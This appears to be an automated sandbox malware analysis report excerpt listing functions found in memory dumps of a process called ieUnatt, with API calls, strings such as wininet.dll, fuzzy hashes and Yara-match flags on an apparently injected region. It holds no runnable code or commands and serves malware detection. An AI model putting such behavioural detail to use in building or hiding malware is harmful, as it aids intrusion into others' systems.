
Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 31e519691c354a435b1f10801f9ed520760432fe3a0cea9ac8c5399999fbc93d
Instruction ID: 0c237cee102b5bd72351a82b6f015eb5ee4efc408721a1aafc66de0fc74b8f91
Opcode Fuzzy Hash: 31e519691c354a435b1f10801f9ed520760432fe3a0cea9ac8c5399999fbc93d
Instruction Fuzzy Hash: F690023220140892D10071588544B46001587E0311FA5C016B4225654D8729C9517921

Function 05142CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142CAA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cea3dd3c15576c69d70d93b16f7fbedfbb833626f55b02bdf2946d47d476ba88
Instruction ID: 269a742b7e4b1b0e4c71de5fb4c07994f20dee6961d49775cb05ad75457ce2cf
Opcode Fuzzy Hash: cea3dd3c15576c69d70d93b16f7fbedfbb833626f55b02bdf2946d47d476ba88
Instruction Fuzzy Hash: C190023220140452D10075989548646001587E0311FA5D011B9125555EC77989916531

Function 05142F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142F3A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ff4e1748dabf084fd1c920ad43f9c939b308fe6db807d12282ad29c84e617f
Instruction ID: aa0b77b5f0a093634b4e6c97a12ce7fddff64773a5431a61a00b5386af4dcf19
Opcode Fuzzy Hash: 14ff4e1748dabf084fd1c920ad43f9c939b308fe6db807d12282ad29c84e617f
Instruction Fuzzy Hash: 9390026234140492D10071588554B060015C7E1311FA5C015F5165554D872DCD526526

Function 05142FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142FBA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4425e727a0e7f81558f48ddf8b9c614810b6998b995312cccab2056d4ab01be9
Instruction ID: f25e151a39b59592c7ecca3f9f1d4e218cf11c74f9443fd6593e13df072eb7a1
Opcode Fuzzy Hash: 4425e727a0e7f81558f48ddf8b9c614810b6998b995312cccab2056d4ab01be9
Instruction Fuzzy Hash: 909002226014009241407168C9849064015ABE12217A5C121B4A99550D866D89655A65

Function 05142FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142FEA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1703381bb715b631f65f242b10fb31553bb5248bdcedf0900fad351ba22104c2
Instruction ID: 9170da81f95c1789ec789acf9b7ee24aef46a2c9e3e6adc19b5309376ecdc860
Opcode Fuzzy Hash: 1703381bb715b631f65f242b10fb31553bb5248bdcedf0900fad351ba22104c2
Instruction Fuzzy Hash: 28900222211C0092D20075688D54B07001587D0313FA5C115B4255554CCA2989615921

Function 05142E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142E8A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c3e9161b57e1ac125226b692a93f271d14a6ae10fe8d85b7c35ab2353a0bcaf3
Instruction ID: c9e22dfa73f952b0d78339f573733bb32e172c38879b4349814a7942a31ae946
Opcode Fuzzy Hash: c3e9161b57e1ac125226b692a93f271d14a6ae10fe8d85b7c35ab2353a0bcaf3
Instruction Fuzzy Hash: C390022260140552D10171588544616001A87D0251FE5C022B5125555ECB398A92A531

Function 05142EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142EEA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34ba5109f73830a8528d81d2aa8044bab160d4fa620dde844f63d9db5569675f
Instruction ID: 7d487d0d81bc1f93b336854792a7ad55eb96c6940e3f7e39060e2de889133840
Opcode Fuzzy Hash: 34ba5109f73830a8528d81d2aa8044bab160d4fa620dde844f63d9db5569675f
Instruction Fuzzy Hash: F590026220180453D14075588944607001587D0312FA5C011B6165555E8B3D8D516535

Function 051439B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 051439BA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b39f78631dc2991432aed0600c5296b6adf6ff622be261cce09127486d5f1992
Instruction ID: 3d1eb68f702592c7593d0455a45b6703e02590f4ce6772fb5ca4c2aefd80c139
Opcode Fuzzy Hash: b39f78631dc2991432aed0600c5296b6adf6ff622be261cce09127486d5f1992
Instruction Fuzzy Hash: 7E90022224545152D150715C85446164015A7E0211FA5C021B4915594D866989556621

Function 05142B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142B6A

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 43a5f54319eb349d5ac57aef0a2f520cffd3869d9677e1f1e1f4af684ccd5a0e
Instruction ID: 6f666d0ee8766c36ed85004dc24b5c6067a066f233436e42bcc160ce83e58ad5
Opcode Fuzzy Hash: 43a5f54319eb349d5ac57aef0a2f520cffd3869d9677e1f1e1f4af684ccd5a0e
Instruction Fuzzy Hash: 5B90026220240053410571588554616401A87E0211BA5C021F5115590DC63989916525

Function 05142BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142BAA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0bdedee711d55a16bd4e674bcac7d1838787984d73774f22891e048974305414
Instruction ID: bd3165e58c341b3cb194e3233963298832d2cb685b4c6aba7334a111161edd78
Opcode Fuzzy Hash: 0bdedee711d55a16bd4e674bcac7d1838787984d73774f22891e048974305414
Instruction Fuzzy Hash: 9390023260540852D15071588554746001587D0311FA5C011B4125654D87698B557AA1

Function 05142BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142BFA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c881aa06fe4b9ab9999a5ab1d6f352ddd2c3373d925b084de7b8e729eedf83b4
Instruction ID: da713a671be4610a7ecca03b24ce49e165e03370965157e2c6a273b52e714b37
Opcode Fuzzy Hash: c881aa06fe4b9ab9999a5ab1d6f352ddd2c3373d925b084de7b8e729eedf83b4
Instruction Fuzzy Hash: 2C90023220140852D1807158854464A001587D1311FE5C015B4126654DCB298B597BA1

Function 05142BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142BEA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f83c2b8afe5146a5e0b9ebe0a1e475b12ede6d213ffc54dd10c874815a28bdf8
Instruction ID: a2313f85e90e13e006a21268cce5846af848f76a332371e29c6771621e1112bd
Opcode Fuzzy Hash: f83c2b8afe5146a5e0b9ebe0a1e475b12ede6d213ffc54dd10c874815a28bdf8
Instruction Fuzzy Hash: 8090023220544892D14071588544A46002587D0315FA5C011B4165694D97398E55BA61

Function 05142AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142ADA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0b5e545b82c37e2acda18b5c8644ca90140291fb13764ca1d644b275934b60c7
Instruction ID: 9eab613dd99a84b1a11fbf515190b4f95accc48442c2f18179da0f9493c6be96
Opcode Fuzzy Hash: 0b5e545b82c37e2acda18b5c8644ca90140291fb13764ca1d644b275934b60c7
Instruction Fuzzy Hash: EC900437311400530105F55C47445070057C7D53713F5C031F5117550CD735CD715531

Function 05142AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05142AFA

Memory Dump Source

Source File: 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050D0000, based on PE: true

Associated: 0000000C.00000002.3294577035.00000000051F9000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.00000000051FD000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_50d0000_ieUnatt.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aa03c5bcda3283f9959f1f7c271c7f6a17c3b31e32c138c6dc03f1e2535b0119
Instruction ID: d188a89be193b143541c3b2dfbc45ac11667115067966a7b2f8a595e09ae06f4
Opcode Fuzzy Hash: aa03c5bcda3283f9959f1f7c271c7f6a17c3b31e32c138c6dc03f1e2535b0119
Instruction Fuzzy Hash: CD900226221400520145B558474450B045597D63613E5C015F5517590CC73589655721

Function 03233470 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 0323353B

Strings

wininet.dll, xrefs: 032334DB, 032334E7
net.dll, xrefs: 03233501, 03233586, 03233566, 03233572, 03233592

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: a305be0244f2741d600154728a70c75b9dc333cd5d35b62fffcb1686b85d7fad
Instruction ID: 0818552b8224da534489563354ee695f27723ffbbf9a47c1b885854423b5dd37
Opcode Fuzzy Hash: a305be0244f2741d600154728a70c75b9dc333cd5d35b62fffcb1686b85d7fad
Instruction Fuzzy Hash: 60318EB5A00705BBD714DFA4CC84FEABBB8FF89714F148518E6596B240D7B0A681CBA0

Function 0322EEEA Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0322EF07
CoUninitialize.COMBASE ref: 0322EFEE

Strings

@J7<, xrefs: 0322EF1B

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: 21edd2b21c567908329a4476620a245784a7d5de8ddcbebbeef8ce350c067e49
Instruction ID: 551c9599d275032e29d26b672090a64eaa4c28fa0006db10803a091a679857e7
Opcode Fuzzy Hash: 21edd2b21c567908329a4476620a245784a7d5de8ddcbebbeef8ce350c067e49
Instruction Fuzzy Hash: 8B318FB6A1020AAFDB00DFD8DC80DEEB7B9FF88304B148558E505EB204D775AE45CBA0

Function 0322EEF0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0322EF07
CoUninitialize.COMBASE ref: 0322EFEE

Strings

@J7<, xrefs: 0322EF1B

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: 631fe04696cde82329d99c7f592456ff632a06c1573ebb3ca2dbb9f8c0565a5c
Instruction ID: 348faa02d85ba5af14115083ddd5501a946d99fe4297497ae9a47c7dfb0def61
Opcode Fuzzy Hash: 631fe04696cde82329d99c7f592456ff632a06c1573ebb3ca2dbb9f8c0565a5c
Instruction Fuzzy Hash: ED3160B6A1020AAFDB00DFD8CC809EFB7B9BF88304B148559E505EB214D771EE45CBA0

Function 03223F70 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 03223FE2

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
Instruction ID: 9a35214337c64933415f48099a86e7c9ca57cd63b0455cf03a7ef64e8c4a85b3
Opcode Fuzzy Hash: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
Instruction Fuzzy Hash: 8D011EB9D1030EBBDB10DAE4EC42FDDB7B89B45708F0441A5EA089B241F675E758CB91

Function 03239070 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,03227D3E,00000010,?,?,?,00000044,?,00000010,03227D3E,?,?,?), ref: 032390D0

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 8af7d9bb6f7632d862b15ee109bec87760659d04315d7bbcf506ca33b4f57a6b
Instruction ID: fb7de264e3d7275ae570cf9cf5f000edea12525b039ed14e3a60a9e50bc4f63b
Opcode Fuzzy Hash: 8af7d9bb6f7632d862b15ee109bec87760659d04315d7bbcf506ca33b4f57a6b
Instruction Fuzzy Hash: 7E01D2B6215248BBCB04DF89DC80EDB77ADAF8C714F018209FA09E7240D670F851CBA4

Function 03219AB0 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 03219AF2

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 1fa97690facf0df6b5bfe81736ee18fec5ad6dccd46083179f92b8971ce90521
Instruction ID: 64560bb54e70bea43f85e76c46c4233a9cabbfb15ea9bfd3d11a455280b5b9c6
Opcode Fuzzy Hash: 1fa97690facf0df6b5bfe81736ee18fec5ad6dccd46083179f92b8971ce90521
Instruction Fuzzy Hash: 48F06D773A071836E220A5A99D42FDBB38CDB81AA1F140025FB0CEB2C0D9E1B49142F5

Function 03219AAC Relevance: 1.5, APIs: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 03219AF2

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 66fe20a9da98a457223dee2dc30c0e9bc152a0247b85544eddcb6d8206663a48
Instruction ID: 9303f6b29b547ec260f29803f7da13b6b89c73ed735c623635f526b4ba6cf446
Opcode Fuzzy Hash: 66fe20a9da98a457223dee2dc30c0e9bc152a0247b85544eddcb6d8206663a48
Instruction Fuzzy Hash: 58F06DB72A07143AD230A6A89D42FDBA7989F91B51F240029F608AF2C0DAE1B49146F5

Function 03238FB0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(032214B6,?,032350BB,032214B6,0323504F,032350BB,?,032214B6,0323504F,00001000,?,?,00000000), ref: 03238FE9

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction ID: 580da49edb6a9d89439b6d0ac708326cc7aa645f894d66a6d4f2f07da9bb484b
Opcode Fuzzy Hash: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction Fuzzy Hash: 58E039B5204304BBDA14EA98DC40FAB37ACEF89B14F104009FA08A7281C6B0B95086F4

Function 03238FF0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,55CCCCC3,00000007,00000000,00000004,00000000,032237F9,000000F4), ref: 03239029

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
Instruction ID: 9d3bdb500aead7474e775eb5c9ff4703a1c6f3ab46cf0e8e34118746dfa9ff9d
Opcode Fuzzy Hash: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
Instruction Fuzzy Hash: 4AE0EDB6204304BBD614EF99DC41F9B77ADDFC5B11F004419FA09A7241D6B0B960CAF4

Function 03227D79 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000002,?,?,000004D8,00000000), ref: 03227DA9

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e32b57d803266b7a3db74eadc885f6a0515cecda4865c7f8ae4a4548ae6cee48
Instruction ID: b8abca938cbffaaa0777720e867377ac483bb661a06573245a47e6e33fea81fd
Opcode Fuzzy Hash: e32b57d803266b7a3db74eadc885f6a0515cecda4865c7f8ae4a4548ae6cee48
Instruction Fuzzy Hash: A8E0DFB125460476EB24EA788C82BE53B188B49B24F189620F998CB2C2D775E18282A0

Function 03227D80 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00000002,?,?,000004D8,00000000), ref: 03227DA9

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d4e30afd0c358c12d72434dd1035a0bb27107a7d8032385a01a6e12e228f64cd
Instruction ID: 70b1d8c7b5e03965e7c222b40c6f5df0cc853012065d86442718d33825756b3a
Opcode Fuzzy Hash: d4e30afd0c358c12d72434dd1035a0bb27107a7d8032385a01a6e12e228f64cd
Instruction Fuzzy Hash: 70E0267126470837EB10EDACDC82FB2370C8B48B20F0C4610F81CCB2C2D678F48242A0

Function 03227B68 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,032217A0,0323798F,0323504F,0322176D), ref: 03227BA0

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 85699f68776da8b7fcb378b6bbec137ed8f49c4f8c17adf330f066e5fae7177e
Instruction ID: b0abeb47785bae86913358e0a8c786e998c12e756d509ede49bb860705e3cd99
Opcode Fuzzy Hash: 85699f68776da8b7fcb378b6bbec137ed8f49c4f8c17adf330f066e5fae7177e
Instruction Fuzzy Hash: B7E086712943157BE300E6B58C0AF4536485F54B40F158064B588EF2C2DA64E0608B91

Function 03227B70 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,032217A0,0323798F,0323504F,0322176D), ref: 03227BA0

Memory Dump Source

Source File: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, Offset: 03210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3210000_ieUnatt.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 9e3693fbf4695692d98aaa9d7cfb83535e316e56fd49d26c2873089d129ecd00
Instruction ID: c21ec15259fc3a060d4f2a20115ffbea6fb4332817320277334ba304d038a39c
Opcode Fuzzy Hash: 9e3693fbf4695692d98aaa9d7cfb83535e316e56fd49d26c2873089d129ecd00
Instruction Fuzzy Hash: AFD05EB57943087BE700FAE9CC03F46368C9B50B90F158024BA08EB2C2DCA5F4604AA5

Function 0322088B Relevance: 1.5, APIs: 1, Instructions: 21threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000111), ref: 03220897

Memory Dump Source

